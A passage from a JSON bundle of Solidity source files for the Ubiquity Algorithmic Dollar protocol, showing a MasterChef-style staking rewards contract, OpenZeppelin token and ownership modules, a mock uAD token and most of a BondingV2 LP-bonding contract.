returns (address pair);\n function allPairsLength() external view returns (uint);\n\n function createPair(address tokenA, address tokenB) external returns (address pair);\n\n function setFeeTo(address) external;\n function setFeeToSetter(address) external;\n}\n" - }, - "contracts/MasterChefOriginal.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.3;\n\nimport \"./interfaces/IERC20Ubiquity.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\n\n// MasterChef is the master of UBQ. He can make UBQ and he is a fair guy.\n//\n// Note that it's ownable and the owner wields tremendous power. The ownership\n// will be transferred to a governance smart contract once UBQ is sufficiently\n// distributed and the community can show to govern itself.\n//\n// Have fun reading it. Hopefully it's bug-free. God bless.\ncontract MasterChefOriginal is Ownable {\n using SafeERC20 for IERC20Ubiquity;\n using SafeERC20 for IERC20;\n // Info of each user.\n struct UserInfo {\n uint256 amount; // How many LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n //\n // We do some fancy math here. Basically, any point in time, the amount of UBQs\n // entitled to a user but is pending to be distributed is:\n //\n // pending reward = (user.amount * pool.accUbqPerShare) - user.rewardDebt\n //\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\n // 1. The pool's `accUbqPerShare` (and `lastRewardBlock`) gets updated.\n // 2. User receives the pending reward sent to his/her address.\n // 3. User's `amount` gets updated.\n // 4. User's `rewardDebt` gets updated.\n }\n // Info of each pool.\n struct PoolInfo {\n IERC20 lpToken; // Address of LP token contract.\n // How many allocation points assigned to this pool. UBQ to distribute per block.\n uint256 allocPoint;\n uint256 lastRewardBlock; // Last block number that UBQs distribution occurs.\n uint256 accUbqPerShare; // Accumulated UBQs per share, times 1e12. See below.\n }\n // Ubiquity Manager\n UbiquityAlgorithmicDollarManager public manager;\n // Block number when bonus UBQ period ends.\n uint256 public bonusEndBlock;\n // UBQ tokens created per block.\n uint256 public ubqPerBlock;\n // Bonus muliplier for early ubq makers.\n uint256 public constant BONUS_MULTIPLIER = 10;\n uint256 public uGOVDivider;\n // Info of each pool.\n PoolInfo[] public poolInfo;\n // Info of each user that stakes LP tokens.\n mapping(uint256 => mapping(address => UserInfo)) public userInfo;\n // Total allocation poitns. Must be the sum of all allocation points in all pools.\n uint256 public totalAllocPoint = 0;\n // The block number when UBQ mining starts.\n uint256 public startBlock;\n event Deposit(address indexed user, uint256 indexed pid, uint256 amount);\n event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);\n event EmergencyWithdraw(\n address indexed user,\n uint256 indexed pid,\n uint256 amount\n );\n\n // ----------- Modifiers -----------\n modifier onlyTokenManager() {\n require(\n manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender),\n \"MasterChef: not UBQ manager\"\n );\n _;\n }\n\n constructor(\n UbiquityAlgorithmicDollarManager _manager,\n uint256 _ubqPerBlock,\n uint256 _startBlock,\n uint256 _bonusEndBlock\n ) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n ubqPerBlock = _ubqPerBlock;\n bonusEndBlock = _bonusEndBlock;\n startBlock = _startBlock;\n uGOVDivider = 5; // 100 / 5 = 20% extra minted ugov for treasury\n }\n\n function setUBQPerBlock(uint256 _ubqPerBlock) external onlyTokenManager {\n ubqPerBlock = _ubqPerBlock;\n }\n\n // the bigger uGOVDivider is the less extra Ugov will be minted for the treasury\n function setUGOVShareForTreasury(uint256 _uGOVDivider)\n external\n onlyTokenManager\n {\n uGOVDivider = _uGOVDivider;\n }\n\n function poolLength() external view returns (uint256) {\n return poolInfo.length;\n }\n\n // View function to see pending UBQs on frontend.\n function pendingUBQ(uint256 _pid, address _user)\n external\n view\n returns (uint256)\n {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][_user];\n uint256 accUbqPerShare = pool.accUbqPerShare;\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\n uint256 multiplier = getMultiplier(\n pool.lastRewardBlock,\n block.number\n );\n\n uint256 ubqReward = (multiplier *\n (ubqPerBlock) *\n (pool.allocPoint)) / (totalAllocPoint);\n accUbqPerShare =\n accUbqPerShare +\n ((ubqReward * (1e12)) / (lpSupply));\n }\n return ((user.amount * accUbqPerShare) / 1e12) - user.rewardDebt;\n }\n\n // Add a new lp to the pool. Can only be called by the owner.\n // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.\n function add(\n uint256 _allocPoint,\n IERC20 _lpToken,\n bool _withUpdate\n ) public onlyOwner {\n if (_withUpdate) {\n massUpdatePools();\n }\n uint256 lastRewardBlock = block.number > startBlock\n ? block.number\n : startBlock;\n totalAllocPoint = totalAllocPoint + _allocPoint;\n poolInfo.push(\n PoolInfo({\n lpToken: _lpToken,\n allocPoint: _allocPoint,\n lastRewardBlock: lastRewardBlock,\n accUbqPerShare: 0\n })\n );\n }\n\n // Update the given pool's UBQ allocation point. Can only be called by the owner.\n function set(\n uint256 _pid,\n uint256 _allocPoint,\n bool _withUpdate\n ) public onlyOwner {\n if (_withUpdate) {\n massUpdatePools();\n }\n totalAllocPoint =\n totalAllocPoint -\n poolInfo[_pid].allocPoint +\n _allocPoint;\n poolInfo[_pid].allocPoint = _allocPoint;\n }\n\n // Update reward vairables for all pools. Be careful of gas spending!\n function massUpdatePools() public {\n uint256 length = poolInfo.length;\n for (uint256 pid = 0; pid < length; ++pid) {\n updatePool(pid);\n }\n }\n\n // Update reward variables of the given pool to be up-to-date.\n function updatePool(uint256 _pid) public {\n PoolInfo storage pool = poolInfo[_pid];\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n if (lpSupply == 0) {\n pool.lastRewardBlock = block.number;\n return;\n }\n uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\n uint256 ubqReward = (multiplier * ubqPerBlock * pool.allocPoint) /\n totalAllocPoint;\n\n // mint another x% for the treasury\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\n manager.treasuryAddress(),\n ubqReward / uGOVDivider\n );\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\n address(this),\n ubqReward\n );\n\n pool.accUbqPerShare =\n pool.accUbqPerShare +\n ((ubqReward * 1e12) / lpSupply);\n pool.lastRewardBlock = block.number;\n }\n\n // Deposit LP tokens to MasterChef for UBQ allocation.\n function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending = ((user.amount * pool.accUbqPerShare) / 1e12) -\n user.rewardDebt;\n _safeUGOVTransfer(msg.sender, pending);\n }\n pool.lpToken.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n user.amount = user.amount + _amount;\n user.rewardDebt = (user.amount * pool.accUbqPerShare) / 1e12;\n emit Deposit(msg.sender, _pid, _amount);\n }\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n require(user.amount >= _amount, \"withdraw: not good\");\n updatePool(_pid);\n uint256 pending = ((user.amount * pool.accUbqPerShare) / 1e12) -\n user.rewardDebt;\n _safeUGOVTransfer(msg.sender, pending);\n user.amount = user.amount - _amount;\n user.rewardDebt = (user.amount * pool.accUbqPerShare) / 1e12;\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\n emit Withdraw(msg.sender, _pid, _amount);\n }\n\n // Withdraw without caring about rewards. EMERGENCY ONLY.\n function emergencyWithdraw(uint256 _pid) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n pool.lpToken.safeTransfer(address(msg.sender), user.amount);\n emit EmergencyWithdraw(msg.sender, _pid, user.amount);\n user.amount = 0;\n user.rewardDebt = 0;\n }\n\n // Return reward multiplier over the given _from to _to block.\n function getMultiplier(uint256 _from, uint256 _to)\n public\n view\n returns (uint256)\n {\n if (_to <= bonusEndBlock) {\n return (_to - _from) * BONUS_MULTIPLIER;\n } else if (_from >= bonusEndBlock) {\n return _to - _from;\n } else {\n return\n ((bonusEndBlock - _from) * BONUS_MULTIPLIER) +\n (_to - bonusEndBlock);\n }\n }\n\n // Safe uGOV transfer function, just in case if rounding\n // error causes pool to not have enough uGOVs.\n function _safeUGOVTransfer(address _to, uint256 _amount) internal {\n IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress());\n uint256 uGOVBal = uGOV.balanceOf(address(this));\n if (_amount > uGOVBal) {\n uGOV.safeTransfer(_to, uGOVBal);\n } else {\n uGOV.safeTransfer(_to, _amount);\n }\n }\n}\n" - }, - "@openzeppelin/contracts/access/Ownable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _setOwner(_msgSender());\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../../../utils/Context.sol\";\n\n/**\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\n * tokens and those that they have an allowance for, in a way that can be\n * recognized off-chain (via event analysis).\n */\nabstract contract ERC20Burnable is Context, ERC20 {\n /**\n * @dev Destroys `amount` tokens from the caller.\n *\n * See {ERC20-_burn}.\n */\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\n * allowance.\n *\n * See {ERC20-_burn} and {ERC20-allowance}.\n *\n * Requirements:\n *\n * - the caller must have allowance for ``accounts``'s tokens of at least\n * `amount`.\n */\n function burnFrom(address account, uint256 amount) public virtual {\n uint256 currentAllowance = allowance(account, _msgSender());\n require(currentAllowance >= amount, \"ERC20: burn amount exceeds allowance\");\n unchecked {\n _approve(account, _msgSender(), currentAllowance - amount);\n }\n _burn(account, amount);\n }\n}\n" - }, - "contracts/mocks/MockuADToken.sol": { - "content": "// contracts/GLDToken.sol\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract MockuADToken is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"ubiquityDollar\", \"uAD\") {\n _mint(msg.sender, initialSupply);\n }\n\n function burn(address account, uint256 amount) public {\n _burn(account, amount);\n }\n\n function mint(address account, uint256 amount) public {\n _mint(account, amount);\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20.sol\";\nimport \"../../../security/Pausable.sol\";\n\n/**\n * @dev ERC20 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n */\nabstract contract ERC20Pausable is ERC20, Pausable {\n /**\n * @dev See {ERC20-_beforeTokenTransfer}.\n *\n * Requirements:\n *\n * - the contract must not be paused.\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, amount);\n\n require(!paused(), \"ERC20Pausable: token transfer while paused\");\n }\n}\n" - }, - "contracts/BondingV2.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"@openzeppelin/contracts/security/Pausable.sol\";\nimport \"./interfaces/IERC1155Ubiquity.sol\";\nimport \"./interfaces/IMetaPool.sol\";\nimport \"./interfaces/IUbiquityFormulas.sol\";\nimport \"./UbiquityAlgorithmicDollar.sol\";\nimport \"./BondingFormulas.sol\";\nimport \"./BondingShareV2.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/ISablier.sol\";\nimport \"./interfaces/IMasterChefV2.sol\";\nimport \"./interfaces/ITWAPOracle.sol\";\nimport \"./interfaces/IERC1155Ubiquity.sol\";\nimport \"./utils/CollectableDust.sol\";\n\ncontract BondingV2 is CollectableDust, Pausable {\n using SafeERC20 for IERC20;\n\n bytes public data = \"\";\n UbiquityAlgorithmicDollarManager public manager;\n uint256 public constant ONE = uint256(1 ether); // 3Crv has 18 decimals\n uint256 public bondingDiscountMultiplier = uint256(1000000 gwei); // 0.001\n uint256 public blockCountInAWeek = 45361;\n uint256 public accLpRewardPerShare = 0;\n\n uint256 public lpRewards;\n uint256 public totalLpToMigrate;\n address public bondingFormulasAddress;\n\n address public migrator; // temporary address to handle migration\n address[] private _toMigrateOriginals;\n uint256[] private _toMigrateLpBalances;\n uint256[] private _toMigrateWeeks;\n\n // toMigrateId[address] > 0 when address is to migrate, or 0 in all other cases\n mapping(address => uint256) public toMigrateId;\n bool public migrating = false;\n\n event PriceReset(\n address _tokenWithdrawn,\n uint256 _amountWithdrawn,\n uint256 _amountTransfered\n );\n\n event Deposit(\n address indexed _user,\n uint256 indexed _id,\n uint256 _lpAmount,\n uint256 _bondingShareAmount,\n uint256 _weeks,\n uint256 _endBlock\n );\n event RemoveLiquidityFromBond(\n address indexed _user,\n uint256 indexed _id,\n uint256 _lpAmount,\n uint256 _lpAmountTransferred,\n uint256 _lprewards,\n uint256 _bondingShareAmount\n );\n\n event AddLiquidityFromBond(\n address indexed _user,\n uint256 indexed _id,\n uint256 _lpAmount,\n uint256 _bondingShareAmount\n );\n\n event BondingDiscountMultiplierUpdated(uint256 _bondingDiscountMultiplier);\n event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek);\n\n event Migrated(\n address indexed _user,\n uint256 indexed _id,\n uint256 _lpsAmount,\n uint256 _sharesAmount,\n uint256 _weeks\n );\n\n modifier onlyBondingManager() {\n require(\n manager.hasRole(manager.BONDING_MANAGER_ROLE(), msg.sender),\n \"not manager\"\n );\n _;\n }\n\n modifier onlyPauser() {\n require(\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\n \"not pauser\"\n );\n _;\n }\n\n modifier onlyMigrator() {\n require(msg.sender == migrator, \"not migrator\");\n _;\n }\n\n modifier whenMigrating() {\n require(migrating, \"not in migration\");\n _;\n }\n\n constructor(\n address _manager,\n address _bondingFormulasAddress,\n address[] memory _originals,\n uint256[] memory _lpBalances,\n uint256[] memory _weeks\n ) CollectableDust() Pausable() {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n bondingFormulasAddress = _bondingFormulasAddress;\n migrator = msg.sender;\n\n uint256 lgt = _originals.length;\n require(lgt > 0, \"address array empty\");\n require(lgt == _lpBalances.length, \"balances array not same length\");\n require(lgt == _weeks.length, \"weeks array not same length\");\n\n _toMigrateOriginals = _originals;\n _toMigrateLpBalances = _lpBalances;\n _toMigrateWeeks = _weeks;\n for (uint256 i = 0; i < lgt; ++i) {\n toMigrateId[_originals[i]] = i + 1;\n totalLpToMigrate += _lpBalances[i];\n }\n }\n\n // solhint-disable-next-line no-empty-blocks\n receive() external payable {}\n\n /// @dev addUserToMigrate add a user to migrate from V1.\n /// IMPORTANT execute that function BEFORE sending the corresponding LP token\n /// otherwise they will have extra LP rewards\n /// @param _original address of v1 user\n /// @param _lpBalance LP Balance of v1 user\n /// @param _weeks weeks lockup of v1 user\n /// @notice user will then be able to migrate.\n function addUserToMigrate(\n address _original,\n uint256 _lpBalance,\n uint256 _weeks\n ) external onlyMigrator {\n _toMigrateOriginals.push(_original);\n _toMigrateLpBalances.push(_lpBalance);\n totalLpToMigrate += _lpBalance;\n _toMigrateWeeks.push(_weeks);\n toMigrateId[_original] = _toMigrateOriginals.length;\n }\n\n function setMigrator(address _migrator) external onlyMigrator {\n migrator = _migrator;\n }\n\n function setMigrating(bool _migrating) external onlyMigrator {\n migrating = _migrating;\n }\n\n /// @dev uADPriceReset remove uAD unilateraly from the curve LP share sitting inside\n /// the bonding contract and send the uAD received to the treasury.\n /// This will have the immediate effect of pushing the uAD price HIGHER\n /// @param amount of LP token to be removed for uAD\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\n function uADPriceReset(uint256 amount) external onlyBondingManager {\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\n // remove one coin\n uint256 coinWithdrawn = metaPool.remove_liquidity_one_coin(\n amount,\n 0,\n 0\n );\n ITWAPOracle(manager.twapOracleAddress()).update();\n uint256 toTransfer = IERC20(manager.dollarTokenAddress()).balanceOf(\n address(this)\n );\n IERC20(manager.dollarTokenAddress()).transfer(\n manager.treasuryAddress(),\n toTransfer\n );\n emit PriceReset(\n manager.dollarTokenAddress(),\n coinWithdrawn,\n toTransfer\n );\n }\n\n /// @dev crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside\n /// the bonding contract and send the 3CRV received to the treasury\n /// This will have the immediate effect of pushing the uAD price LOWER\n /// @param amount of LP token to be removed for 3CRV tokens\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\n function crvPriceReset(uint256 amount) external onlyBondingManager {\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\n // remove one coin\n uint256 coinWithdrawn = metaPool.remove_liquidity_one_coin(\n amount,\n 1,\n 0\n );\n // update twap\n ITWAPOracle(manager.twapOracleAddress()).update();\n uint256 toTransfer = IERC20(manager.curve3PoolTokenAddress()).balanceOf(\n address(this)\n );\n IERC20(manager.curve3PoolTokenAddress()).transfer(\n manager.treasuryAddress(),\n toTransfer\n );\n emit PriceReset(\n manager.curve3PoolTokenAddress(),\n coinWithdrawn,\n toTransfer\n );\n }\n\n function setBondingFormulasAddress(address _bondingFormulasAddress)\n external\n onlyBondingManager\n {\n bondingFormulasAddress = _bondingFormulasAddress;\n }\n\n /// Collectable Dust\n function addProtocolToken(address _token)\n external\n override\n onlyBondingManager\n {\n _addProtocolToken(_token);\n }\n\n function removeProtocolToken(address _token)\n external\n override\n onlyBondingManager\n {\n _removeProtocolToken(_token);\n }\n\n function sendDust(\n address _to,\n address _token,\n uint256 _amount\n ) external override onlyBondingManager {\n _sendDust(_to, _token, _amount);\n }\n\n function setBondingDiscountMultiplier(uint256 _bondingDiscountMultiplier)\n external\n onlyBondingManager\n {\n bondingDiscountMultiplier = _bondingDiscountMultiplier;\n emit BondingDiscountMultiplierUpdated(_bondingDiscountMultiplier);\n }\n\n function setBlockCountInAWeek(uint256 _blockCountInAWeek)\n external\n onlyBondingManager\n {\n blockCountInAWeek = _blockCountInAWeek;\n emit BlockCountInAWeekUpdated(_blockCountInAWeek);\n }\n\n /// @dev deposit uAD-3CRV LP tokens for a duration to receive bonding shares\n /// @param _lpsAmount of LP token to send\n /// @param _weeks during lp token will be held\n /// @notice weeks act as a multiplier for the amount of bonding shares to be received\n function deposit(uint256 _lpsAmount, uint256 _weeks)\n external\n whenNotPaused\n returns (uint256 _id)\n {\n require(\n 1 <= _weeks && _weeks <= 208,\n \"Bonding: duration must be between 1 and 208 weeks\"\n );\n ITWAPOracle(manager.twapOracleAddress()).update();\n\n // update the accumulated lp rewards per shares\n _updateLpPerShare();\n // transfer lp token to the bonding contract\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom(\n msg.sender,\n address(this),\n _lpsAmount\n );\n\n // calculate the amount of share based on the amount of lp deposited and the duration\n uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress())\n .durationMultiply(_lpsAmount, _weeks, bondingDiscountMultiplier);\n // calculate end locking period block number\n uint256 _endBlock = block.number + _weeks * blockCountInAWeek;\n _id = _mint(msg.sender, _lpsAmount, _sharesAmount, _endBlock);\n\n // set masterchef for uGOV rewards\n IMasterChefV2(manager.masterChefAddress()).deposit(\n msg.sender,\n _sharesAmount,\n _id\n );\n\n emit Deposit(\n msg.sender,\n _id,\n _lpsAmount,\n _sharesAmount,\n _weeks,\n _endBlock\n );\n }\n\n /// @dev Add an amount of uAD-3CRV LP tokens\n /// @param _amount of LP token to deposit\n /// @param _id bonding shares id\n /// @param _weeks during lp token will be held\n /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date\n function addLiquidity(\n uint256 _amount,\n uint256 _id,\n uint256 _weeks\n ) external whenNotPaused {\n (\n uint256[2] memory bs,\n BondingShareV2.Bond memory bond\n ) = _checkForLiquidity(_id);\n\n // calculate pending LP rewards\n uint256 sharesToRemove = bs[0];\n _updateLpPerShare();\n uint256 pendingLpReward = lpRewardForShares(\n sharesToRemove,\n bond.lpRewardDebt\n );\n\n // add an extra step to be able to decrease rewards if locking end is near\n pendingLpReward = BondingFormulas(this.bondingFormulasAddress())\n .lpRewardsAddLiquidityNormalization(bond, bs, pendingLpReward);\n // add these LP Rewards to the deposited amount of LP token\n bond.lpAmount += pendingLpReward;\n lpRewards -= pendingLpReward;\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom(\n msg.sender,\n address(this),\n _amount\n );\n bond.lpAmount += _amount;\n\n // redeem all shares\n IMasterChefV2(manager.masterChefAddress()).withdraw(\n msg.sender,\n sharesToRemove,\n _id\n );\n\n // calculate the amount of share based on the new amount of lp deposited and the duration\n uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress())\n .durationMultiply(bond.lpAmount, _weeks, bondingDiscountMultiplier);\n\n // deposit new shares\n IMasterChefV2(manager.masterChefAddress()).deposit(\n msg.sender,\n _sharesAmount,\n _id\n );\n // calculate end locking period block number\n // 1 week = 45361 blocks = 2371753*7/366\n // n = (block + duration * 45361)\n bond.endBlock = block.number + _weeks * blockCountInAWeek;\n\n // should be done after masterchef withdraw\n _updateLpPerShare();\n bond.lpRewardDebt =\n (IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo(\n _id\n )[0] * accLpRewardPerShare) /\n 1e12;\n\n BondingShareV2(manager.bondingShareAddress()).updateBond(\n _id,\n bond.lpAmount,\n bond.lpRewardDebt,\n bond.endBlock\n );\n emit AddLiquidityFromBond(\n msg.sender,\n _id,\n bond.lpAmount,\n _sharesAmount\n );\n }\n\n /// @dev Remove an amount of uAD-3CRV LP tokens\n /// @param _amount of LP token deposited when _id was created to be withdrawn\n /// @param _id bonding shares id\n /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date\n function removeLiquidity(uint256 _amount, uint256 _id)\n external\n whenNotPaused\n {\n (\n uint256[2] memory bs,\n BondingShareV2.Bond memory bond\n ) = _checkForLiquidity(_id);\n require(bond.lpAmount >= _amount, \"Bonding: amount too big\");\n // we should decrease the UBQ rewards proportionally to the LP removed\n // sharesToRemove = (bonding shares * _amount ) / bond.lpAmount ;\n uint256 sharesToRemove = BondingFormulas(this.bondingFormulasAddress())\n .sharesForLP(bond, bs, _amount);\n\n //get all its pending LP Rewards\n _updateLpPerShare();\n uint256 pendingLpReward = lpRewardForShares(bs[0], bond.lpRewardDebt);\n // update bonding shares\n // bond.shares = bond.shares - sharesToRemove;\n // get masterchef for uGOV rewards To ensure correct computation\n // it needs to be done BEFORE updating the bonding share\n IMasterChefV2(manager.masterChefAddress()).withdraw(\n msg.sender,\n sharesToRemove,\n _id\n );\n\n // redeem of the extra LP\n // bonding lp balance - BondingShareV2.totalLP\n IERC20 metapool = IERC20(manager.stableSwapMetaPoolAddress());\n\n // add an extra step to be able to decrease rewards if locking end is near\n pendingLpReward = BondingFormulas(this.bondingFormulasAddress())\n .lpRewardsRemoveLiquidityNormalization(bond, bs, pendingLpReward);\n\n uint256 correctedAmount = BondingFormulas(this.bondingFormulasAddress())\n .correctedAmountToWithdraw(\n BondingShareV2(manager.bondingShareAddress()).totalLP(),\n metapool.balanceOf(address(this)) - lpRewards,\n _amount\n );\n\n lpRewards -= pendingLpReward;\n bond.lpAmount -= _amount;\n\n // bond.lpRewardDebt = (bonding shares * accLpRewardPerShare) / 1e18;\n // user.amount.mul(pool.accSushiPerShare).div(1e12);\n // should be done after masterchef withdraw\n bond.lpRewardDebt =\n (IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo(\n _id\n )[0] * accLpRewardPerShare) /\n 1e12;\n\n BondingShareV2(manager.bondingShareAddress()).updateBond(\n _id,\n bond.lpAmount,\n bond.lpRewardDebt,\n bond.endBlock\n );\n\n // lastly redeem lp tokens\n metapool.safeTransfer(msg.sender, correctedAmount + pendingLpReward);\n emit RemoveLiquidityFromBond(\n msg.sender,\n _id,\n _amount,\n correctedAmount,\n pendingLpReward,\n sharesToRemove\n );\n }\n\n // View function to see pending lpRewards on frontend.\n function pendingLpRewards(uint256 _id) external view returns (uint256) {\n BondingShareV2 bonding = BondingShareV2(manager.bondingShareAddress());\n BondingShareV2.Bond memory bond = bonding.getBond(_id);\n uint256[2] memory bs = IMasterChefV2(manager.masterChefAddress())\n .getBondingShareInfo(_id);\n\n uint256 lpBalance = IERC20(manager.stableSwapMetaPoolAddress())\n .balanceOf(address(this));\n // the excess LP is the current balance minus the total deposited LP\n if (lpBalance >= (bonding.totalLP() + totalLpToMigrate)) {\n uint256 currentLpRewards = lpBalance -\n (bonding.totalLP() + totalLpToMigrate);\n uint256 curAccLpRewardPerShare = accLpRewardPerShare;\n // if new rewards we should calculate the new curAccLpRewardPerShare\n if (currentLpRewards > lpRewards) {\n uint256 newLpRewards = currentLpRewards - lpRewards;\n curAccLpRewardPerShare =\n accLpRewardPerShare +\n ((newLpRewards * 1e12) /\n IMasterChefV2(manager.masterChefAddress())\n .totalShares());\n }\n // we multiply the shares amount by the accumulated lpRewards per share\n // and remove the lp Reward Debt\n return\n (bs[0] * (curAccLpRewardPerShare)) /\n (1e12) -\n (bond.lpRewardDebt);\n }\n return 0;\n }\n\n function pause() public virtual onlyPauser {\n _pause();\n }\n\n function unpause() public virtual onlyPauser {\n _unpause();\n }\n\n /// @dev migrate let a user migrate from V1\n /// @notice user will then be able to migrate\n function migrate() public whenMigrating returns (uint256 _id) {\n _id = toMigrateId[msg.sender];\n require(_id > 0, \"not v1 address\");\n\n _migrate(\n _toMigrateOriginals[_id - 1],\n _toMigrateLpBalances[_id - 1],\n _toMigrateWeeks[_id - 1]\n );\n }\n\n /// @dev return the amount of Lp token rewards an amount of shares entitled\n /// @param amount of bonding shares\n /// @param lpRewardDebt lp rewards that has already been distributed\n function lpRewardForShares(uint256 amount, uint256 lpRewardDebt)\n public\n view\n returns (uint256 pendingLpReward)\n {\n if (accLpRewardPerShare > 0) {\n pendingLpReward =\n (amount * accLpRewardPerShare) /\n 1e12 -\n (lpRewardDebt);\n }\n }\n\n function currentShareValue() public view returns (uint256 priceShare) {\n uint256 totalShares = IMasterChefV2(manager.masterChefAddress())\n .totalShares();\n // priceShare = totalLP / totalShares\n priceShare = IUbiquityFormulas(manager.formulasAddress()).bondPrice(\n BondingShareV2(manager.bondingShareAddress()).totalLP(),\n totalShares,\n ONE\n );\n }\n\n /// @dev migrate let a user migrate from V1\n /// @notice user will then be able to migrate\n function _migrate(\n address user,\n uint256 _lpsAmount,\n uint256 _weeks\n ) internal returns (uint256 _id) {\n require(toMigrateId[user] > 0, \"not v1 address\");\n require(_lpsAmount > 0, \"LP amount is zero\");\n require(\n 1 <= _weeks && _weeks <= 208,\n \"Duration must be between 1 and 208 weeks\"\n );\n\n // unregister address\n toMigrateId[user] = 0;\n\n // calculate the amount of share based on the amount of lp deposited and the duration\n uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress())\n .durationMultiply(_lpsAmount, _weeks, bondingDiscountMultiplier);\n\n // update the accumulated lp rewards per shares\n _updateLpPerShare();\n // calculate end locking period block number\n uint256 endBlock = block.number + _weeks * blockCountInAWeek;\n _id = _mint(user, _lpsAmount, _sharesAmount, endBlock);\n // reduce the total LP to migrate after the minting\n // to keep the _updateLpPerShare calculation consistent\n totalLpToMigrate -= _lpsAmount;\n // set masterchef for uGOV rewards\n IMasterChefV2(manager.masterChefAddress()).deposit(\n user,\n _sharesAmount,\n _id\n );\n\n emit Migrated(user, _id, _lpsAmount, _sharesAmount, _weeks);\n }\n\n /// @dev update the accumulated excess LP per 